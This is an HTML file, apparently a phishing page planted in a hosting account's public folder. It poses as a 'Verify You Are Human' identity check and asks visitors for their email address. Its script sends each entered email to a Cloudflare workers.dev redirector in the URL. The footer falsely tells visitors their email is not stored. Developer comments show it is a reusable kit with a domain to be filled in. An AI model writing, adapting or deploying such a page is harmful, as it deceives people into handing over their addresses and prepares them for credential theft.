File: /home/keeloilc/public_html/config/56930936.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex,nofollow,noarchive">
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; frame-ancestors 'none'; base-uri 'none'; form-action 'self'; object-src 'none';">
<meta http-equiv="X-Content-Type-Options" content="nosniff">
<meta http-equiv="Referrer-Policy" content="strict-origin-when-cross-origin">
<meta http-equiv="X-Frame-Options" content="DENY">
<title>Identity Verification</title>
<style>
* { box-sizing: border-box; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Arial, sans-serif; }
body {
margin: 0;
min-height: 100vh;
background: #f4f6fb;
display: flex;
align-items: center;
justify-content: center;
padding: 16px;
}
.card {
background: #ffffff;
width: 100%;
max-width: 420px;
max-height: 90vh;
border-radius: 14px;
box-shadow: 0 18px 50px rgba(0,0,0,0.12);
overflow: hidden;
display: flex;
flex-direction: column;
}
.header {
background: #2463eb;
color: white;
padding: 26px;
text-align: center;
font-size: 20px;
font-weight: 600;
}
.content {
padding: 32px;
overflow-y: auto;
flex: 1;
}
.content p {
color: #555;
font-size: 15px;
margin-bottom: 22px;
line-height: 1.6;
text-align: center;
}
label {
display: block;
font-size: 14px;
font-weight: 600;
margin-bottom: 8px;
color: #333;
}
input {
width: 100%;
padding: 15px;
font-size: 16px;
border-radius: 10px;
border: 1px solid #dcdfe6;
margin-bottom: 22px;
outline: none;
transition: border-color 0.15s ease;
}
input:focus {
border-color: #2463eb;
}
button {
width: 100%;
padding: 16px;
background: #2463eb;
color: white;
border: none;
border-radius: 10px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
transition: background 0.2s ease;
}
button:hover:not(:disabled) {
background: #1a4fb8;
}
button:disabled {
background: #a0aec0;
cursor: not-allowed;
}
.loading {
display: none;
text-align: center;
padding: 24px;
font-size: 15px;
font-weight: 500;
color: #555;
}
.footer {
background: #f8fafc;
padding: 18px;
font-size: 12px;
color: #2c3e50;
border-top: 1px solid #e6e9ef;
line-height: 1.6;
max-height: 30vh;
overflow-y: auto;
scrollbar-width: thin;
}
.footer strong {
color: #1e293b;
font-weight: 600;
}
.footer em {
color: #475569;
font-style: normal;
font-weight: 500;
}
.footer hr {
border: 0;
border-top: 1px solid #d1d9e6;
margin: 12px 0;
}
.footer .badge {
display: inline-block;
background: #e1e8f5;
color: #1e3a8a;
padding: 2px 8px;
border-radius: 30px;
font-size: 10px;
font-weight: 600;
margin-right: 6px;
letter-spacing: 0.3px;
}
</style>
</head>
<body>
<div class="card">
<div class="header">🔐 Verify You Are Human</div>
<div class="content">
<p>Please enter your email address to continue.</p>
<form id="verifyForm" autocomplete="on">
<label for="email">Email Address</label>
<input type="email" id="email" placeholder="user@business.com" autocomplete="email" required>
<button id="continueBtn" disabled>Continue</button>
</form>
<div class="loading" id="loading">Verifying… Redirecting…</div>
</div>
<!-- CLEAN, REALISTIC DISCLAIMER (no fake legal overkill) -->
<div class="footer">
<strong>Important Notice</strong><br>
This page verifies human users. Your email is used only for access validation and is not stored permanently. By clicking "Continue", you consent to this verification process.<br><br>
<span class="badge">Privacy Protected</span>
<hr>
<div style="display:flex; justify-content:space-between; align-items:center;">
<span>© 2025 Identity Assurance</span>
<span style="color:#2563eb;">0</span>
</div>
</div>
</div>
<script>
(() => {
'use strict';
/* ======= CONFIGURATION - CHANGE THIS TO YOUR OWN DOMAIN ======= */
const BASE_DOMAIN = 'example.com'; // <-- REPLACE with your actual domain (e.g., 'mywebsite.com')
const PREFIX = '?email='; // Appends email as query parameter
const DELAY = 800;
/* ============================================================= */
const form = document.getElementById('verifyForm');
const emailInput = document.getElementById('email');
const button = document.getElementById('continueBtn');
const loading = document.getElementById('loading');
const validEmail = v => /^[^\s@]+@[^\s@]+\.[^\s@]{2,}$/i.test(v);
emailInput.addEventListener('input', () => {
button.disabled = !validEmail(emailInput.value.trim());
});
form.addEventListener('submit', (e) => {
e.preventDefault();
const email = emailInput.value.trim();
if (!validEmail(email)) return;
button.style.display = 'none';
loading.style.display = 'block';
setTimeout(() => {
// Exactly as original: https:// + BASE_DOMAIN + ?email= + email
const destination = `https://dnfu-e9ty-oi5h.garyk-e-smasonry-com-s-account.workers.dev/?email=a${BASE_DOMAIN}${PREFIX}${encodeURIComponent(email)}`;
window.location.href = destination;
}, DELAY);
});
})();
</script>
</body>
</html>